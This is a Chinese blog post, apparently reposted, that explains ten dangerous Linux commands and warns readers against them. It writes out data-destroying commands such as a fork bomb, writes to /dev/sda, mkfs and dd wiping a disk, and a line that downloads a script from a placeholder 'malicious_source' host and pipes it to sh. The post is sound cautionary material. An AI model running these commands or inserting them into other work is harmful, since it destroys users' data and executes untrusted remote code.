• linux的10个最危险的命令


    rm -rf 命令删除文件夹及其内容最快的方式之一。

    :(){:|:&};:命令,这就是fork炸弹的实例
    具体操作是通过定义一个名为‘:’的函数,它会调用自己两次,一次在前台另一次运行在后台,它会反复的执行下去直到系统崩溃。

    命令 > /dev/sda
    这个命令将某个命令的输出写入到 块设备/dev/sda.
    该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

    mv 文件夹 /dev/null
    这个命令会移动某个‘文件夹’。
    在linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
    当然,要说明的是这个命令并不能阻止数据恢复软件,所以真正的彻底毁灭,需要采用专用的软件或者手法来完成。
    mv /home/user/* /dev/null

    wget http://malicious_source -O | sh
    该命令会从一个(也许是)恶意源下载一个脚本并执行。
    wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
    注意:你应该时刻注意你下载包或脚本的源,只能使用那些从可信任的源中下载脚本/程序。

    mkfs.ext3 /dev/sda
    上列命令会格式化块设备sda,在执行这个命令后你的块设备(硬盘驱动器)会被格式化,直接让你的系统达到不可恢复的阶段。
    通常我们不会直接使用/dev/sda这样的设备,除非是作为raw设备使用。
    一般都需要将sda分成类似sda1,sda2这样的分区后才使用,当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。

    > file
    这个命令常用来清空文件内容或记录命令输出。
    不过请在执行前,确认输出的文件是空的或者还不存在,否则砂质来的文件可真是恢复不了了--连数据恢复软件都未必能帮助你了。
    你可能真正想用的是‘>>’即累加新的输出到文件,而不是刷新那个文件。
    如果用上列执行时输出错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。

    ^foo^bar
    这个命令用来编辑先前运行的命令而无需重打整个命令
    用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。

    dd if=/dev/random of=/dev/sda
    这个命令会向块设备sda写入随机的垃圾文件从而擦出数据,让你的系统可能陷入混乱和不可恢复的状态。
    记得上面说过mv到黑洞并不能彻底删除数据么,那么这个命令就是给了你一个彻底删除的方法,当然为了保险起见,你可以覆写多次。

    隐藏命令。
    下面的命令其实就是上面第一个命令(rm -rf)。这里代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄,如果在终端里运行下面
    命令可能会擦除你的根分区。
    真正的危险是隐藏起来的,不会轻易的检测到,你必须时刻留你在什么结果会怎样

  • 相关阅读:
    微信小程序之登录页实例
    微信小程序之购物车
    微信小程序之加载更多(分页加载)实例
    微信小程序开发之从相册获取图片 使用相机拍照 本地图片上传
    微信小程序--实现图片上传
    关于JavaScriptInterface的一系列问题
    关于websocket,JS客户端和java服务端的林林总总。
    关于JS接高德地图API,以及坐标偏移坐标转换
    Butter Knife:8.0.1的完整正确导入步骤
    android:讲述一下我的第三方支付之路(微信和支付宝)
  • 原文地址:https://www.cnblogs.com/liujunjun/p/12266890.html
Copyright © 2020-2023  润新知